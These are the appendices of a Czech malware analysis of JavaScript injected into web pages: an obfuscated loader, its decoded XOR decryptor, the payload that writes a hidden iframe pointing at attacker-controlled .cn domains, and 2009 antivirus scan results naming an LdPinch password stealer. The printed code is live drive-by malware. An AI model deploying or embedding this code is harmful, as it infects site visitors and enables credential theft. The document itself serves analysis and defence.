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Výprava za obsahem javascriptu  - přílohy 

Jaroslav Vorlíček (jerry at cybercave dot cz), Jakub Suchý (info at jsuchy dot cz)  

Příloha 1 - „Vlolololožžžženenenenýýýý Javascript  Javascript  Javascript  Javascript –––– k k k kóóóód ve strd ve strd ve strd ve strááááncencencence““““  

<script type="text/javascript">var jj=window[String.fromCharCode(101)+new String("v")+new 
String("a")+String.fromCharCode(108)](String.fromCharCode(101)+new String("v")+new 
String("a")+String.fromCharCode(108)); 
jj('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x63\x56\x55\x69\x31\x47\x28\x62\x41\x68\x59\x29\x7b\x66\x75\x6e
\x63\x74\x69\x6f\x6e\x20\x62\x44\x67\x34\x28\x6b\x6f\x7a\x29\x7b\x76\x61\x72\x20\ 
x67\x58\x41\x52\x72\x62\x56\x3d\x30\x3b\x76\x61\x72\x20\x61\x62\x74\x3d\x6b\x6f\x7a\x2e\x6c\x65\x6e\x6

7\x74\x68\x2c\x20\x7a\x4b\x70\x4f\x58\x64\x3d\x30\x3b\x77\x68\x69\x6c\x65\x28\x7a\x4b\x70\x4f\x58\x64\x
3c\x61\x62\x74\x29\x7b\x67\x58\x41\x52\x72\x62\x56\x2b\x3d\x64\x73\x57\x56\x37\x28\x6b\x6f\x7a\x2c\x7a
\x4b\x70\x4f\x58\x64\x29\x2a\x61\x62\x74\x3b\x7a\x4b\x70\x4f\x58\x64\x2b\x2b\x3b\x7d\x72\x65\x74\x75\x7
2\x6e\x20\x28\x67\x58\x41\x52\x72\x62\x56\x2b\x27\x27\x29\x3b\x7d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\
x64\x73\x57\x56\x37\x28\x66\x45\x37\x75\x79\x2c\x64\x51\x62\x73\x73\x29\x7b\x72\x65\x74\x75\x72\x6e\x
20\x66\x45\x37\x75\x79\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x64\x51\x62\x73\x73\x29\x3b\x7d

\x20\x20\x20\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x64\x6b\x6d\x37\x47\x78\x3d\x65\x76\x61\x6c\x28\x27\x
61\x5f\x72\x30\x67\x3b\x75\x5f\x6d\x2b\x65\x30\x6e\x3b\x74\x31\x73\x2b\x2e\x2b\x63\x31\x61\x2b\x6c\x5f\
x6c\x3b\x65\x5f\x65\x2b\x27\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x3b\x30\x5f\x31\x5c\x2b\x5d\x2f\
x67\x2c\x20\x27\x27\x29\x29\x2c\x6b\x34\x52\x63\x61\x3d\x27\x27\x2c\x78\x46\x37\x53\x3d\x30\x2c\x72\x3
6\x62\x5a\x6c\x3d\x30\x3b\x76\x61\x72\x20\x74\x49\x75\x36\x59\x65\x3d\x28\x6e\x65\x77\x20\x53\x74\x72\
x69\x6e\x67\x28\x64\x6b\x6d\x37\x47\x78\x29\x29\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x5e\x40\x6

1\x2d\x7a\x30\x2d\x39\x41\x2d\x5a\x5f\x2e\x2c\x2d\x5d\x2f\x67\x2c\x27\x27\x29\x3b\x76\x61\x72\x20\x78\x
77\x6a\x43\x3d\x62\x44\x67\x34\x28\x74\x49\x75\x36\x59\x65\x29\x3b\x62\x41\x68\x59\x3d\x75\x6e\x65\x7
3\x63\x61\x70\x65\x28\x62\x41\x68\x59\x29\x3b\x66\x6f\x72\x28\x76\x61\x72\x20\x6c\x4a\x51\x5a\x68\x3d\
x30\x3b\x20\x6c\x4a\x51\x5a\x68\x20\x3c\x20\x28\x62\x41\x68\x59\x2e\x6c\x65\x6e\x67\x74\x68\x29\x3b\x2
0\x6c\x4a\x51\x5a\x68\x2b\x2b\x29\x7b\x76\x61\x72\x20\x62\x46\x4b\x57\x57\x3d\x64\x73\x57\x56\x37\x28\
x74\x49\x75\x36\x59\x65\x2c\x78\x46\x37\x53\x29\x5e\x64\x73\x57\x56\x37\x28\x78\x77\x6a\x43\x2c\x72\x

36\x62\x5a\x6c\x29\x3b\x76\x61\x72\x20\x75\x46\x30\x3d\x64\x73\x57\x56\x37\x28\x62\x41\x68\x59\x2c\x6
c\x4a\x51\x5a\x68\x29\x3b\x78\x46\x37\x53\x2b\x2b\x2c\x72\x36\x62\x5a\x6c\x2b\x2b\x3b\x6b\x34\x52\x63\
x61\x2b\x3d\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x75\x46\x3
0\x5e\x62\x46\x4b\x57\x57\x29\x3b\x69\x66\x28\x72\x36\x62\x5a\x6c\x3e\x78\x77\x6a\x43\x2e\x6c\x65\x6e\
x67\x74\x68\x29\x72\x36\x62\x5a\x6c\x3d\x30\x3b\x69\x66\x28\x78\x46\x37\x53\x3e\x74\x49\x75\x36\x59\x
65\x2e\x6c\x65\x6e\x67\x74\x68\x29\x78\x46\x37\x53\x3d\x30\x3b\x7d\x65\x76\x61\x6c\x28\x6b\x34\x52\x6

3\x61\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x6b\x34\x52\x63\x61\x3d\x6e\x65\x77\x20\x53\x74\x72\x69\
x6e\x67\x28\x29\x3b\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x7d\x63\x56\x55\x69\x31\x47\x28\x27\x
25\x33\x32\x25\x33\x38\x25\x33\x31\x25\x33\x34\x25\x33\x33\x25\x33\x30\x25\x33\x38\x25\x33\x38\x25\x3
4\x33\x25\x30\x33\x25\x31\x39\x25\x33\x35\x25\x36\x34\x25\x31\x37\x25\x33\x36\x25\x33\x61\x25\x33\x65\
x25\x37\x31\x25\x37\x64\x25\x33\x36\x25\x32\x32\x25\x36\x63\x25\x32\x30\x25\x32\x64\x25\x33\x61\x25\x
33\x37\x25\x30\x31\x25\x31\x32\x25\x31\x63\x25\x36\x62\x25\x37\x31\x25\x32\x63\x25\x33\x38\x25\x32\x3

1\x25\x32\x64\x25\x31\x64\x25\x32\x31\x25\x31\x39\x25\x30\x30\x25\x30\x33\x25\x36\x31\x25\x36\x66\x25\
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x34\x65\x25\x37\x33\x25\x31\x66\x25\x33\x64\x25\x33\x39\x25\x32\x34\x25\x33\x37\x25\x32\x62\x25\x33\x

37\x25\x37\x37\x25\x37\x38\x25\x30\x65\x25\x33\x38\x25\x32\x38\x25\x33\x31\x25\x33\x30\x25\x33\x33\x2
5\x33\x31\x25\x37\x62\x25\x32\x63\x25\x36\x33\x25\x36\x62\x25\x30\x63\x25\x30\x30\x25\x33\x36\x25\x32\
x62\x25\x36\x36\x25\x32\x34\x25\x33\x39\x25\x30\x35\x25\x32\x34\x25\x36\x63\x25\x31\x62\x25\x32\x38\x
25\x30\x65\x25\x30\x64\x25\x33\x64\x25\x33\x64\x25\x31\x62\x25\x30\x66\x25\x33\x31\x25\x31\x61\x25\x3
0\x31\x25\x30\x30\x25\x32\x65\x25\x33\x36\x25\x30\x62\x25\x30\x30\x25\x36\x39\x25\x34\x36\x25\x34\x65\
x25\x37\x38\x25\x32\x65\x25\x33\x65\x25\x33\x30\x25\x33\x34\x25\x30\x39\x25\x34\x34\x25\x36\x61\x25\x

34\x32\x25\x31\x37\x25\x33\x33\x25\x30\x65\x25\x33\x33\x25\x36\x33\x25\x30\x63\x25\x32\x66\x25\x36\x3
8\x25\x35\x31\x25\x31\x66\x25\x30\x31\x25\x33\x36\x25\x30\x32\x25\x33\x35\x25\x35\x61\x25\x32\x63\x25\
x30\x39\x25\x33\x33\x25\x33\x33\x25\x34\x66\x25\x33\x34\x25\x31\x36\x25\x37\x64\x25\x36\x36\x25\x33\x
30\x25\x36\x32\x25\x33\x36\x25\x37\x38\x25\x33\x34\x25\x37\x36\x25\x32\x37\x25\x37\x39\x25\x30\x38\x2
5\x37\x31\x25\x30\x65\x25\x33\x38\x25\x37\x61\x25\x30\x33\x25\x34\x66\x25\x37\x34\x25\x32\x33\x25\x35\
x36\x25\x37\x31\x25\x36\x63\x25\x30\x65\x25\x36\x36\x25\x32\x35\x25\x33\x38\x25\x31\x36\x25\x37\x61\x

25\x30\x66\x25\x37\x39\x25\x33\x31\x25\x36\x33\x25\x32\x39\x25\x31\x66\x25\x37\x63\x25\x32\x62\x25\x3
1\x37\x25\x35\x63\x25\x37\x65\x25\x33\x31\x25\x30\x36\x25\x32\x62\x25\x30\x62\x25\x33\x61\x25\x36\x63\
x25\x37\x64\x25\x31\x65\x25\x33\x35\x25\x36\x63\x25\x31\x32\x25\x37\x39\x25\x32\x33\x25\x33\x38\x25\x
37\x31\x25\x31\x63\x25\x32\x35\x25\x36\x33\x25\x30\x66\x25\x36\x31\x25\x37\x65\x25\x32\x61\x25\x33\x3
8\x25\x37\x66\x25\x31\x33\x25\x31\x39\x25\x33\x34\x25\x32\x62\x25\x37\x38\x25\x37\x37\x25\x30\x39\x25\
x33\x39\x25\x37\x61\x25\x35\x37\x25\x34\x38\x25\x31\x62\x25\x31\x63\x25\x30\x31\x25\x37\x65\x25\x36\x

34\x25\x37\x32\x25\x36\x63\x25\x32\x65\x25\x35\x34\x25\x33\x35\x25\x37\x30\x25\x37\x34\x25\x33\x64\x2
5\x33\x36\x25\x31\x63\x25\x37\x61\x25\x33\x61\x25\x33\x61\x25\x32\x33\x25\x35\x30\x25\x33\x31\x25\x33\
x30\x25\x32\x65\x25\x33\x39\x25\x30\x63\x25\x30\x39\x25\x32\x39\x25\x32\x61\x25\x34\x65\x25\x32\x62\x
25\x37\x31\x25\x34\x33\x25\x33\x62\x25\x37\x35\x25\x33\x32\x25\x32\x31\x25\x36\x64\x25\x37\x33\x25\x3
3\x32\x25\x33\x38\x25\x31\x63\x25\x37\x34\x25\x30\x64\x25\x32\x32\x25\x35\x65\x25\x36\x36\x25\x36\x66\
x25\x32\x37\x25\x30\x33\x25\x32\x63\x25\x36\x35\x25\x33\x30\x25\x36\x37\x25\x30\x36\x25\x37\x61\x25\x

30\x66\x25\x36\x62\x25\x37\x63\x25\x30\x65\x25\x37\x33\x25\x33\x66\x25\x32\x39\x25\x30\x31\x25\x34\x6
2\x25\x37\x32\x25\x33\x30\x25\x37\x66\x25\x37\x33\x25\x32\x35\x25\x33\x39\x25\x32\x33\x25\x30\x31\x25\
x36\x34\x25\x31\x63\x25\x32\x63\x25\x33\x32\x25\x36\x65\x25\x30\x65\x25\x31\x34\x25\x37\x65\x25\x31\x
35\x25\x37\x37\x25\x32\x33\x25\x30\x32\x25\x30\x38\x25\x33\x31\x25\x32\x64\x25\x32\x34\x25\x33\x35\x2
5\x31\x65\x25\x35\x34\x25\x33\x63\x25\x35\x30\x25\x31\x66\x25\x36\x66\x25\x36\x35\x25\x33\x35\x25\x32\
x34\x25\x35\x61\x25\x32\x35\x25\x32\x62\x25\x36\x33\x25\x32\x33\x25\x37\x39\x25\x33\x65\x25\x31\x34\x

25\x33\x39\x25\x33\x31\x25\x33\x38\x25\x36\x39\x25\x32\x62\x25\x30\x39\x25\x37\x64\x25\x36\x39\x25\x3
4\x66\x25\x33\x32\x25\x31\x32\x25\x31\x36\x25\x33\x65\x25\x34\x30\x25\x36\x38\x25\x36\x36\x25\x33\x61\
x25\x36\x35\x25\x32\x63\x25\x31\x33\x25\x32\x62\x25\x32\x39\x25\x33\x36\x25\x35\x64\x25\x32\x38\x25\x
34\x30\x25\x36\x35\x25\x33\x38\x25\x35\x63\x25\x32\x37\x25\x33\x35\x25\x32\x63\x25\x32\x62\x25\x31\x6
3\x25\x34\x39\x25\x34\x62\x25\x36\x62\x25\x34\x64\x25\x33\x64\x25\x31\x33\x25\x31\x34\x25\x30\x64\x25\
x33\x33\x25\x37\x61\x25\x31\x63\x25\x37\x39\x25\x32\x32\x25\x37\x38\x25\x33\x62\x25\x33\x37\x25\x32\x

66\x25\x33\x39\x25\x32\x31\x25\x33\x65\x25\x32\x30\x25\x36\x34\x25\x31\x34\x25\x31\x30\x25\x33\x30\x2
5\x33\x36\x25\x33\x37\x25\x36\x61\x25\x37\x64\x25\x34\x32\x25\x30\x38\x25\x30\x64\x25\x32\x63\x25\x32\
x31\x25\x31\x31\x25\x30\x39\x25\x32\x35\x25\x36\x33\x25\x31\x35\x25\x37\x37\x25\x31\x31\x25\x33\x32\x
25\x33\x38\x25\x33\x33\x25\x34\x39\x25\x32\x37\x25\x32\x34\x25\x36\x62\x25\x30\x33\x25\x32\x66\x25\x3
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1\x62\x25\x35\x38\x25\x33\x62\x25\x32\x33\x25\x36\x36\x25\x33\x64\x25\x33\x37\x25\x33\x33\x25\x37\x32\

x25\x32\x62\x25\x36\x34\x25\x33\x33\x25\x34\x31\x25\x37\x33\x25\x31\x35\x25\x31\x61\x25\x32\x62\x25\x
31\x31\x25\x32\x65\x25\x35\x62\x25\x30\x64\x25\x36\x66\x25\x30\x30\x25\x34\x32\x25\x32\x66\x25\x34\x3
5\x25\x35\x34\x25\x37\x39\x25\x34\x33\x25\x36\x62\x25\x37\x34\x25\x35\x64\x25\x35\x35\x25\x35\x32\x25\
x34\x37\x25\x31\x63\x25\x31\x63\x25\x37\x63\x25\x30\x38\x25\x32\x66\x25\x32\x36\x25\x34\x36\x25\x32\x
33\x25\x30\x63\x25\x36\x30\x25\x31\x62\x25\x33\x39\x25\x32\x65\x25\x37\x66\x25\x31\x65\x25\x30\x33\x2
5\x31\x61\x25\x30\x36\x25\x31\x34\x25\x33\x62\x25\x30\x30\x25\x37\x36\x25\x30\x33\x25\x37\x63\x25\x31\

x38\x25\x37\x32\x25\x36\x64\x25\x32\x38\x25\x33\x63\x25\x33\x33\x25\x31\x62\x25\x33\x64\x25\x33\x37\x
25\x33\x38\x25\x36\x35\x25\x36\x39\x25\x35\x39\x25\x36\x61\x25\x33\x66\x25\x33\x30\x25\x33\x32\x25\x3
1\x64\x25\x30\x63\x25\x37\x31\x25\x31\x35\x25\x32\x38\x25\x37\x61\x25\x34\x63\x25\x37\x66\x25\x36\x32\
x25\x36\x65\x25\x32\x66\x25\x30\x66\x25\x34\x36\x25\x33\x37\x25\x32\x65\x25\x37\x31\x25\x32\x30\x25\x
32\x32\x25\x32\x63\x25\x30\x39\x25\x36\x31\x25\x30\x64\x25\x30\x33\x25\x33\x64\x25\x36\x34\x25\x37\x3
5\x25\x32\x31\x25\x32\x30\x25\x31\x37\x25\x37\x63\x25\x37\x64\x25\x32\x35\x25\x31\x65\x25\x32\x62\x25\

x36\x39\x25\x30\x33\x25\x33\x30\x25\x35\x38\x25\x33\x35\x25\x30\x38\x25\x33\x39\x25\x37\x33\x25\x36\x
35\x25\x32\x38\x25\x32\x33\x25\x31\x66\x25\x37\x63\x25\x34\x35\x25\x35\x33\x25\x33\x38\x25\x32\x31\x2
5\x33\x62\x25\x33\x31\x25\x33\x64\x25\x35\x32\x25\x30\x62\x25\x33\x37\x25\x31\x34\x25\x32\x35\x25\x37\
x34\x25\x37\x65\x25\x33\x63\x25\x33\x63\x25\x37\x32\x25\x33\x34\x25\x36\x39\x25\x32\x36\x25\x31\x37\x
25\x32\x62\x25\x33\x65\x25\x33\x63\x25\x32\x31\x25\x33\x36\x25\x31\x65\x25\x30\x36\x25\x34\x39\x25\x3
6\x36\x25\x37\x66\x25\x33\x34\x25\x32\x30\x25\x32\x39\x25\x33\x30\x25\x32\x34\x25\x33\x34\x25\x36\x66\

x25\x33\x61\x25\x36\x35\x25\x37\x36\x25\x32\x63\x25\x33\x31\x25\x33\x38\x25\x32\x35\x25\x37\x36\x25\x
30\x37\x25\x30\x38\x25\x30\x35\x25\x36\x35\x25\x36\x31\x25\x31\x62\x25\x33\x31\x25\x30\x63\x25\x33\x6
4\x25\x33\x63\x25\x33\x61\x25\x33\x39\x25\x37\x31\x25\x33\x62\x25\x32\x38\x25\x33\x61\x25\x33\x36\x25\
x32\x32\x25\x30\x62\x25\x31\x39\x25\x33\x31\x25\x32\x62\x25\x33\x37\x25\x33\x33\x25\x33\x39\x25\x33\x
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25\x37\x37\x25\x33\x31\x25\x31\x36\x25\x33\x66\x25\x33\x32\x25\x37\x35\x25\x33\x31\x25\x30\x32\x25\x3
3\x62\x25\x33\x38\x25\x33\x31\x25\x33\x35\x25\x36\x65\x25\x37\x62\x25\x31\x65\x25\x35\x39\x25\x32\x66\
x25\x32\x33\x25\x32\x30\x25\x36\x32\x25\x33\x35\x25\x31\x64\x25\x32\x33\x25\x30\x61\x25\x35\x32\x25\x
33\x62\x25\x32\x32\x25\x31\x33\x25\x34\x36\x25\x36\x38\x25\x33\x38\x25\x32\x34\x25\x32\x36\x25\x36\x6
4\x25\x30\x63\x25\x31\x32\x25\x37\x31\x25\x36\x30\x25\x35\x37\x25\x33\x34\x25\x33\x63\x25\x33\x35\x25\

x32\x33\x25\x30\x39\x25\x34\x63\x25\x36\x64\x25\x32\x36\x25\x33\x63\x25\x32\x36\x25\x32\x32\x25\x37\x
32\x25\x32\x36\x25\x32\x66\x25\x37\x66\x25\x35\x32\x27\x29\x3b');</script> 
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Příloha 2 „V lolololožžžženenenenýýýý Javascript  Javascript  Javascript  Javascript –––– zdrojov zdrojov zdrojov zdrojovýýýý k k k kóóóódddd““““  

<script type="text/javascript">  
function cVUi1G(bAhY){  
 function bDg4(koz){  
  var gXARrbV=0;  
  var abt=koz.length, zKpOXd=0; 

   
  while (zKpOXd<abt){  
   gXARrbV+=dsWV7(koz,zKpOXd)*abt;  
   zKpOXd++;  
  } 
  return (gXARrbV+'');  
 
 }  
 
 function dsWV7(fE7uy,dQbss){  
  return fE7uy.charCodeAt(dQbss);  
 }  
 
 try {  
  var dkm7Gx=eval('a_r0g;u_m+e0n;t1s+.+c1a+l_l;e_e+'.replace(/[;0_1\+]/g, '')), k4Rca='', 
xF7S=0, r6bZl=0; 

  var tIu6Ye=(new String(dkm7Gx)).replace(/[^@a-z0-9A-Z_.,-]/g,''); 
  var xwjC=bDg4(tIu6Ye);  
  bAhY=unescape(bAhY);  
  
  for(var lJQZh=0; lJQZh < (bAhY.length); lJQZh++){  
   var bFKWW=dsWV7(tIu6Ye,xF7S)^dsWV7(xwjC,r6bZl);  

   var uF0=dsWV7(bAhY,lJQZh); 
   xF7S++,r6bZl++;  
   k4Rca+=String.fromCharCode(uF0^bFKWW);  
   if(r6bZl>xwjC.length)r6bZl=0;  
   if(xF7S>tIu6Ye.length)xF7S=0;  
 }  
 
 return k4Rca=new String();  
 
 }catch(e){} 
 
}  
cVUi1G('%32%38%31%34%33%30%38%38%43%03%19%35%64%17%36%3a%3e%71%7d%36%22%6c
%20%2d%3a%37%01%12%1c%6b%71%2c%38%21%2d%1d%21%19%00%03%61%6f%4e%73%1f%3d
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%39%24%37%2b%37%77%78%0e%38%28%31%30%33%31%7b%2c%63%6b%0c%00%36%2b%66%24

%39%05%24%6c%1b%28%0e%0d%3d%3d%1b%0f%31%1a%01%00%2e%36%0b%00%69%46%4e%78
%2e%3e%30%34%09%44%6a%42%17%33%0e%33%63%0c%2f%68%51%1f%01%36%02%35%5a%2c
%09%33%33%4f%34%16%7d%66%30%62%36%78%34%76%27%79%08%71%0e%38%7a%03%4f%74
%23%56%71%6c%0e%66%25%38%16%7a%0f%79%31%63%29%1f%7c%2b%17%5c%7e%31%06%2b
%0b%3a%6c%7d%1e%35%6c%12%79%23%38%71%1c%25%63%0f%61%7e%2a%38%7f%13%19%34
%2b%78%77%09%39%7a%57%48%1b%1c%01%7e%64%72%6c%2e%54%35%70%74%3d%36%1c%7a

%3a%3a%23%50%31%30%2e%39%0c%09%29%2a%4e%2b%71%43%3b%75%32%21%6d%73%32%38
%1c%74%0d%22%5e%66%6f%27%03%2c%65%30%67%06%7a%0f%6b%7c%0e%73%3f%29%01%4b%
72%30%7f%73%25%39%23%01%64%1c%2c%32%6e%0e%14%7e%15%77%23%02%08%31%2d%24%
35%1e%54%3c%50%1f%6f%65%35%24%5a%25%2b%63%23%79%3e%14%39%31%38%69%2b%09%7
d%69%4f%32%12%16%3e%40%68%66%3a%65%2c%13%2b%29%36%5d%28%40%65%38%5c%27%3
5%2c%2b%1c%49%4b%6b%4d%3d%13%14%0d%33%7a%1c%79%22%78%3b%37%2f%39%21%3e%20

%64%14%10%30%36%37%6a%7d%42%08%0d%2c%21%11%09%25%63%15%77%11%32%38%33%49
%27%24%6b%03%2f%1b%58%3b%23%66%3d%37%33%72%2b%64%33%41%73%15%1a%2b%11%2e
%5b%0d%6f%00%42%2f%45%54%79%43%6b%74%5d%55%52%47%1c%1c%7c%08%2f%26%46%23%
0c%60%1b%39%2e%7f%1e%03%1a%06%14%3b%00%76%03%7c%18%72%6d%28%3c%33%1b%3d%3
7%38%65%69%59%6a%3f%30%32%1d%0c%71%15%28%7a%4c%7f%62%6e%2f%0f%46%37%2e%71
%20%22%2c%09%61%0d%03%3d%64%75%21%20%17%7c%7d%25%1e%2b%69%03%30%58%35%08

%39%73%65%28%23%1f%7c%45%53%38%21%3b%31%3d%52%0b%37%14%25%74%7e%3c%3c%72
%34%69%26%17%2b%3e%3c%21%36%1e%06%49%66%7f%34%20%29%30%24%34%6f%3a%65%76
%2c%31%38%25%76%07%08%05%65%61%1b%31%0c%3d%3c%3a%39%71%3b%28%3a%36%22%0b
%19%31%2b%37%33%39%3a%62%52%27%05%04%13%33%3c%4e%2a%1e%27%3e%20%74%6c%7c
%6d%6d%01%79%76%77%7b%23%34%7c%62%76%7f%57%4e%77%23%3b%2c%71%08%3b%2a%5a
%79%41%48%7b%2c%0c%22%3a%0f%1c%0f%27%3e%49%4d%61%50%47%77%30%36%31%3a%1d

%1c%3c%2c%0d%39%35%09%38%08%10%26%19%44%7e%62%67%6c%52%67%7f%76%47%52%06
%26%32%78%26%28%2f%3b%26%3a%32%76%4c%6e%34%39%62%78%0f%3f%60%40%30%71%3d%
79%6c%64%64%7a%5d%69%38%3a%22%1a%66%2e%24%0e%79%7f%0c%68%5b%70%70%7a%6f%6
1%75%40%76%6b%63%6e%64%5b%64%72%63%24%30%34%7c%51%1f%32%3a%02%39%3c%0b%1
9%7c%15%2e%09%3b%79%2a%7e%67%29%51%32%79%20%7e%7f%1b%3c%34%2c%79%66%22%25
%2b%7c%72%7b%11%6a%0e%73%7d%77%73%20%78%69%2c%75%75%23%06%73%51%2f%03%31

%7f%7d%0d%31%2f%69%75%02%27%05%2c%38%04%30%21%7d%24%15%3e%2a%33%3a%7f%7e%
35%4f%2c%54%27%7f%36%75%1b%20%13%38%33%16%7d%3c%3b%2a%3c%12%51%62%49%40%4
e%68%67%36%42%23%77%25%3e%2b%37%38%32%25%27%4f%2a%19%23%2e%50%6d%53%5a%7
b%3b%35%2f%3c%25%3c%4f%24%2f%3c%18%18%01%3f%25%31%2b%3d%26%70%48%50%56%79
%1b%7c%08%42%45%08%26%0b%39%37%7b%7a%32%28%3b%29%13%3c%2b%11%21%36%26%37
%6a%6e%48%62%4e%4d%36%65%4f%35%7b%3e%20%29%69%46%37%6d%27%13%4c%3b%37%39

%25%0d%60%2d%67%63%72%2e%63%2b%35%06%33%25%30%17%09%1f%6c%35%7a%40%08%6b
%0a%11%35%0b%79%38%5d%45%05%0d%3e%2c%67%09%7b%11%7a%28%33%30%34%25%5c%70
%37%1e%22%11%2f%3f%39%74%7d%6b%2c%23%22%28%79%2f%4a%6d%62%71%2e%7b%25%6a%
48%4e%4a%55%07%6d%4d%30%0c%5e%00%7d%11%65%2d%16%06%64%60%32%78%3a%12%6d%
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5d%0c%0b%64%73%33%1e%59%21%21%23%01%28%63%09%30%3e%7b%3e%04%03%7a%03%17%

58%59%36%1f%30%62%70%7f%7f%2d%46%34%5c%67%7a%7e%27%2e%2c%7b%7a%33%23%79%3
6%6c%74%58%25%76%05%67%36%79%7e%6e%3c%7b%60%63%7a%3e%2a%35%34%2d%25%7e%2
e%05%19%30%2b%12%3e%16%3f%2b%7c%00%3e%23%2f%77%25%37%0c%12%30%68%77%75%60
%2d%77%1e%30%0e%17%12%29%7b%42%39%5a%62%63%6b%24%22%2f%22%30%40%7e%32%64
%2e%6b%2b%71%36%08%2d%18%02%39%66%67%6a%71%0a%22%2c%19%30%15%07%32%71%0c
%27%32%0c%59%41%34%3b%02%11%24%46%1c%75%39%2d%62%70%47%59%26%1b%1b%77%15

%3b%38%1f%51%61%45%4c%33%6c%2e%29%01%14%3f%3b%09%5a%0c%2f%2d%76%10%2c%2b%
32%6f%70%79%31%01%35%3b%0e%6e%30%5d%26%6d%52%3e%64%56%62%70%73%7a%6d%44%
6e%71%7f%36%19%64%38%2c%4b%3f%24%7e%25%1f%30%37%34%24%66%61%40%38%21%2e%2
9%6a%52%64%7b%7e%72%78%76%2f%1a%0b%34%2f%20%3d%7a%19%2b%64%12%22%4e%77%73
%38%7e%29%71%03%75%29%65%26%62%4d%7f%39%71%23%79%04%1c%17%0f%2d%29%0c%6c
%00%28%7a%24%3c%2e%20%33%3d%2b%78%2d%11%7e%22%66%5f%34%6f%3f%02%3a%64%6e%

63%52%20%04%2a%61%1e%3c%39%33%5f%48%37%31%38%29%22%2e%3d%4d%24%57%2d%75%
22%20%25%31%0f%25%73%12%3a%71%21%61%70%17%1a%7b%0f%0e%65%53%73%77%58%2c%3
0%30%62%27%35%14%31%2d%30%42%24%10%23%26%4a%7d%45%4e%77%48%6a%7d%21%23%3
2%12%6c%3e%3c%1a%30%00%3b%01%13%28%2c%26%71%59%5c%5f%70%1d%6f%5b%5b%13%77
%31%16%3f%32%75%31%02%3b%38%31%35%6e%7b%1e%59%2f%23%20%62%35%1d%23%0a%52
%3b%22%13%46%68%38%24%26%6d%0c%12%71%60%57%34%3c%35%23%09%4c%6d%26%3c%26

%22%72%26%2f%7f%52'); </script>  
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Příloha 3 „V lolololožžžženenenenýýýý Javascri Javascri Javascri Javascript pt pt pt ––––    šššškodlivkodlivkodlivkodlivýýýý k k k kóóóódddd““““  

function ascgpELkf(){};  
ascgpELkf.prototype = {  
 getFrameURL : function(){ 
 var dlh=document.location.host;  
  

 return \"http\"+'://' + ((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-
9.-]/,'.').replace (/\.+/,'.') + \".\" + this.getRandString() + \".\" + this.path + this.host; },  
 
host:'/qq.cn/',  
 
path:\"f\"+\"q\"+String.fromCharCode(119)+\"e\"+\"r\"+new String(\"z\")+String.fromCharCode(46)+new 
String(\"c\")+new String(\"n\"),  
 
setCookie : function(name, value){  
 var d= new Date(); d.setTime(new Date().getTime() + 86400000);  

 document.cookie = name + \"=\" + escape(value)+\";  
 expires=\"+d.toGMTString();  
},  
 
cookieValue:1, cookieName:'befhdcga',  
 
alreadyInstalled : function(){  
 return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);  

},  
 
install : function(){  
 if(!this.alreadyInstalled()){  
  var s=\"<qdqiqv| qs|tTy*l|e7=7\'*dqi7s|p7lTaqyT:TnTo7n7eT\'*>T<|i|fTrqa*m|e| qsTr7c*=T\'7\" 
.replace(/[7\|Tq\*]/g, '') + 
  this.getFrameURL()+\"\'M>w<#/niwfwr#aMmne#>#<Q/Mdni#vn>#\".replace(/[QwM#n]/g, ''); 
 
  try { 
   var o=document; 
   o.open();o.write(s);o.close();  
  }catch(e){  
   document.write('<LhLtOmAln>L<nbAondAyL>v' .replace(/[LnOAv]/g, 
'')+s+'<5/Ub5o5dSyU>U<5/ShUtSmXlS>X' .replace(/[5U\{XS]/g, ''))  

  }  
  this.setCookie(this.cookieName, this.cookieValue);  
 }  
},  
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getRandString : function(){ 

 var l=16, 
 c='0E1l2l3l4l5O6E7E8l9Ea; 
 b;c;dOeYfY'.replace(/[lOYE;]/g, ''), o=''; 
 for(var i=0;i<l;i++) 
  o+=c.substr(Math.floor(Math.random()*c.length),1,1); 
 return o;  
 
}  
}; 
 
var ocho=new ascgpELkf();ocho.install();" String  
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Příloha 4 „Výsledky antivirových kontrol ““““  

./Documents and Settings/Jerry/Local Settings/Temporary Internet Files/Content.IE5/WLTFON68/1[1].exe 
  
./Documents and Settings/Jerry/Local Settings/Temp/0/svchost.exe 
 

Soubor 1_1_.exe přijatý 2009.04.10 23:41:11 (CET) 

Antivirus Verze Poslední aktualizace Výsledek 

a-squared 4.0.0.101 2009.04.10 - 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 - 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 - 

Avast 4.8.1335.0 2009.04.10 - 

AVG 8.5.0.285 2009.04.10 - 

BitDefender 7.2 2009.04.10 - 

CAT-QuickHeal 10.00 2009.04.10 (Suspicious) - DNAScan 

ClamAV 0.94.1 2009.04.10 - 

Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 Trojan.PWS.Multi.36 

eSafe 7.0.17.0 2009.04.07 - 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 - 

F-Secure 8.0.14470.0 2009.04.10 
Trojan-
PSW.Win32.LdPinch.gsw 

Fortinet 3.117.0.0 2009.04.10 - 

GData 19 2009.04.10 - 

Ikarus T3.1.1.49.0 2009.04.10 - 

K7AntiVirus 7.10.698 2009.04.09 - 

Kaspersky 7.0.0.125 2009.04.10 
Trojan-
PSW.Win32.LdPinch.gsw 

McAfee 5580 2009.04.10 - 

McAfee+Artemis 5580 2009.04.10 - 

McAfee-GW-Edition 6.7.6 2009.04.10 - 

Microsoft 1.4502 2009.04.10 - 
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NOD32 4000 2009.04.10 - 

Norman 6.00.06 2009.04.09 - 

nProtect 2009.1.8.0 2009.04.10 - 

Panda 10.0.0.14 2009.04.10 - 

PCTools 4.4.2.0 2009.04.08 - 

Prevx1 V2 2009.04.10 - 

